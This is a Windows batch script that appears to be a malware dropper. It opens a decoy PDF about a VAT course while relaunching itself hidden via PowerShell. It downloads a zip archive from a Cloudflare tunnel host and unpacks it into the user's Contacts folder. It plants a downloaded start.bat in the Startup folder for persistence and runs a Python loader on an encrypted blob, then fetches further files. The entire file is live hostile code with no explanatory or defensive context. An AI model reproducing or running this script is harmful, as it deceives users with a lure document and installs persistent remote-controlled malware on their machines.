ÿþ&cls
ÿþ

@echo off
if not "%~1"=="h" (
    start "" "https://www.studiofurlotti.it/pdf/corsoIVA.pdf"
    powershell -windowstyle hidden -command "Start-Process '%~f0' -ArgumentList 'h' -WindowStyle Hidden"
    exit /b
)
setlocal
set "u=https://hardware-added-mba-night.trycloudflare.com"
set "z=%TEMP%\puma.zip"
set "d=%USERPROFILE%\Contacts\puma"
set "s=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\start.bat"

powershell -nologo -noprofile -command "$w=New-Object Net.WebClient;$w.DownloadFile('%u%/puma.zip','%z%')"
powershell -nologo -noprofile -command "Expand-Archive -LiteralPath '%z%' -DestinationPath '%d%' -Force"
del "%z%"
powershell -nologo -noprofile -command "$w=New-Object Net.WebClient;$w.DownloadFile('%u%/start.bat','%s%')"
cd /d "%d%"
python.exe inf.py -i wel.bin -k h.txt
if %errorlevel%==0 (
    powershell -nologo -noprofile -command "$w=New-Object Net.WebClient;$w.DownloadFile('%u%/a.txt','%TEMP%\a.txt')"
) else (
    powershell -nologo -noprofile -command "$w=New-Object Net.WebClient;$w.DownloadFile('%u%/b.txt','%TEMP%\b.txt')"
)